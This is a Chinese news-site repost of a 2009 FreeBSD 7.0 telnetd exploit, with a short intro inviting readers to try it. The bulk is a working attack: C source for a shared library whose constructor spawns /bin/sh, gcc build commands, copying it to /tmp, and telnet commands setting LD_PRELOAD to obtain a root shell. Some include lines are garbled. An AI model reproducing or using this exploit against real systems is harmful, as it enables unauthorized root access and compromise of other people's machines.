没想到现在有人会研究,看到后惊叹了一下。是telnetd部分的问题,在FreeBSD7.0正式版测试通过,7.1似乎也有同样问题,但未经过测试。有兴趣的朋友可以调试一下,代码如下:

# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009
#include 
#include 
#include 
#include 
void _init() { 
FILE *f; 
setenv("LD_PRELOAD", "", 1); 
system("echo ALEX-ALEX;/bin/sh"); 
} 
---snip----- 
Then we compile this stuff.
---snip----- 
#gcc -o program.o -c program.c -fPIC 
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o 
-nostartfiles 
---snip----- 
Then we copy the file to a known location (local root exploit)
---snip----- 
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 
---snip----- 
...or we upload the library through any other available attack vector. 
After that we telnet to the remote or local FreeBSD telnet daemon 
with setting the LD_PRELOAD environment variable to the known location 
as a telnet option before. 
---snip----- 
#telnet 
/>auth disable SRA 
/>environ define LD_PRELOAD /tmp/libno_ex.so.1.0 
/>open target 
---snip----- 
ALEX-ALEX 
#ROOTSHELL 
                标题名称:FreeBSD爆0day远程能溢出本地可提权
                
                分享网址:http://www.csdahua.cn/qtweb/news25/383425.html
            
网站建设、网络推广公司-快上网,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 快上网